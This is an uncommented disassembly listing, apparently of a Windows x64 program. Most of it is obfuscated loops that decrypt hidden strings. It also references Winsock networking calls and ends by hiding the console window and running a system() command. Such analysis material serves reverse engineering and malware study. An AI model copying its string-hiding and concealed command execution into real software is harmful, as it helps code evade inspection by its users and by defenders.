jmp 0x140092ed3
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
add r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 3
mov byte [rbp + r11 + 0x130], dil
inc r11
jmp 0x140092413
lea ecx, [r9 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
cmp r8, 8
jb 0x14009286d
lea edx, [r9 + 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140092dee
lea ecx, [r9 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x41
cmp rbx, 6
jae 0x140092d1e
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140092c37
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140092893
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
lea rax, [r8 + rbx]
cmp rax, 5
je 0x140092d39
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140092b61
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x1400928cf
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140092ed3
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140092ea6
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140092e73
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
add rbx, r8
jmp 0x140092e73
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140092e39
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
dec r11
inc r11
jmp 0x140092413
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140092413
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140092dee
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140092aa7
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
jmp 0x140092918
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092adf
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092b07
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140092ea6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092b2b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140092e39
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092918
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140092413
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092b85
lea ecx, [r9 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
jmp 0x140092dee
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092bb1
sub r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4d
dec r11
inc r11
jmp 0x140092413
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140092bd7
add r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x67
jmp 0x140092e73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092bfb
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x140092ea6
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400928cf
sub r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7f
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092c72
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092c9a
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140092ea6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140092cbf
lea edx, [r9 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140092e36
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140092ceb
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140092413
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092893
add r9b, 0x6e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 2
inc r8
dec r11
inc r11
jmp 0x140092413
lea edx, [r9 - 0x28]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
jmp 0x140092e36
lea edx, [r9 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140092ea6
lea edx, [r9 + 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140092ea6
add r9b, 0x47
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0xf
jmp 0x140092e73
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4f
add rbx, r8
jmp 0x140092e73
sub r9b, 0x23
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xb
dec r11
inc r11
jmp 0x140092413
lea edx, [r9 + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x39
add dil, dl
add r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, r9b
mov byte [rbp + r11 + 0x130], r10b
inc r8
dec r11
inc r11
jmp 0x140092413
movzx r9d, r11b
lea edx, [r9 + 0x3b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x63
add dil, dl
add r9b, 0x3f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x47
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x130], r10b
add rbx, r8
jmp 0x140092e73
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x59
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140092413
lea rcx, [r11 + r12]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x49
add dil, cl
movzx r9d, r11b
add r9b, 0xd
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x5b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x130], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, cl
mov byte [rbp + r11 + 0x130], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x73
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x140092413
sub r9b, 0x7d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6b
jmp 0x140092410
sub r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0xd
jmp 0x140092400
lea rcx, [rbp + 0x1500664]
jmp 0x140092f95
lea rcx, [rbp + 0x63d6cb]
jmp 0x140092f95
lea rcx, [rbp + 0x130]
call fcn.140097760
mov dword [rbp + 0x170], 0x3e1c2278
mov dword [rbp + 0x174], 0xdbd00864
mov dword [rbp + 0x178], 0xda62d32d
mov dword [rbp + 0x17c], 0x6fdcd0db
mov dword [rbp + 0x180], 0x22dd212b
mov dword [rbp + 0x184], 0x572c1817
mov byte [rbp + 0x188], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
mov qword [rbp + 0x189], rax
movabs rsi, 0x5d5e4b43130d1ccc
movabs r14, 0x4850a55bab76032c
movabs r12, 0x8d940ed5855bc994
movabs r15, 0x181ae1c939275664
movzx edi, byte [rsp + 0x40]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x21
jae 0x140093b43
movzx r10d, byte [rbp + r11 + 0x170]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140093b3a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009306c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x6c
jmp 0x1400930a6
je 0x140093ac4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093a3d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093a12
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400939f7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400939d2
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140093b31
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x1400930da
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140093110
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009398c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093966
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093949
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009392c
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009364b
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14009362c
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x140093603
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400935dd
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400936fd
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400935bd
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400935a0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140093581
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140093561
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140093544
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140093120
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140093b11
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x140093af1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14009330b
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400932f0
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400932d5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400934f4
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400934ab
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009346b
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140093440
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140093120
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140093423
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140093406
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x1400933eb
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400933ce
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400933ae
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140093392
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14009336c
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140093343
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140093328
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x140093120
lea rbx, [r8 + 0x400]
lea r8, [rbx + 8]
jmp 0x140093120
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140093110
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400930b0
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
jmp 0x140093040
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400939a2
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140093026
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140093026
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400938e6
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
add rbx, r8
jmp 0x140093a24
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140093a24
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140093a53
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140093a81
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140093ad7
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x170], dil
inc r11
jmp 0x140093026
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x14009345b
lea ecx, [r9 + 0x48]
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400939a2
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 2
jae 0x1400938d0
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140093830
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140093485
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 8
je 0x140093916
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140093770
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x1400934c5
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140093ad7
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093a81
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093a53
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140093a24
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
add rbx, r8
jmp 0x140093a24
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140093026
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140093026
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400939a2
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140093668
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x140093503
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400936a0
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x140093026
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400936c8
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093a53
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400936f4
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140093a24
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140093718
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400938e9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140093744
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x140093026
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009350e
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400939a2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093794
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x1400939a2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400937b9
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400938e6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400937e2
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
add rbx, r8
jmp 0x140093a24
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140093806
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140093a53
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400934c5
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140093ad7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093856
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140093ad7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009387e
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140093a53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400938a4
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140093a24
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140093485
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400939a2
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add dil, r10b
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
add rbx, r8
jmp 0x140093a24
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x48]
jmp 0x140093a53
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140093ad7
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x140093a24
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140093026
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
inc r8
dec r11
inc r11
jmp 0x140093026
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140093026
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
add rbx, r8
jmp 0x140093a24
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x34
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140093026
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0xc
movzx r9d, r11b
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x170], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x140093026
lea rax, [r11 + r15]
and dl, al
mov ecx, 0x22
sub cl, dl
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x140093026
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093023
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093013
lea rcx, [rbp + 0x14f5a80]
jmp 0x140093b4a
lea rcx, [rbp + 0x15c774c]
jmp 0x140093b4a
lea rcx, [rbp + 0x170]
call fcn.140097760
lea rdx, [rbp + 0x254]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x254], 1
jne 0x140093b9f
xor edx, edx
mov rcx, qword [0x1401ecf00]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140044f60
lea rcx, [0x140148fb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, qword [0x1401ecf00]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140148754]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140040e10
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x70], 0x48667806
mov dword [rbp - 0x6c], 0x4a5a780a
mov dword [rbp - 0x68], 0x42530d45
mov dword [rbp - 0x64], 0x41571149
mov dword [rbp - 0x60], 0x495b155d
mov dword [rbp - 0x5c], 0x54504d1a
mov dword [rbp - 0x58], 0x254d511e
mov dword [rbp - 0x54], 0x676c3e24
mov dword [rbp - 0x50], 0x3e2f3336
mov dword [rbp - 0x4c], 0x1d03693f
mov dword [rbp - 0x48], 0x731a061a
mov dword [rbp - 0x44], 0x1b702026
mov dword [rbp - 0x40], 0x7b303227
mov dword [rbp - 0x3c], 0x7f33312e
mov dword [rbp - 0x38], 0x437351b
mov word [rbp - 0x34], 0x5316
mov byte [rbp - 0x32], 0x60
xor eax, eax
mov qword [rbp - 0x31], rax
mov word [rbp - 0x29], ax
movabs r14, 0x8ba0bc126b8b5f25
movabs r12, 0xd1652480f0cf9a03
movabs r15, 0xa2e2343742a21d6f
movzx edi, byte [rsp + 0x40]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x49
jae 0x140094692
movzx r10d, byte [rbp + r11 - 0x70]
mov edx, r10d
cmp rbx, r11
ja 0x140094689
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140093cb2
lea rcx, [r11 + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 3
jmp 0x140093cec
je 0x140094620
lea rax, [r8 + 2]
cmp rbx, rax
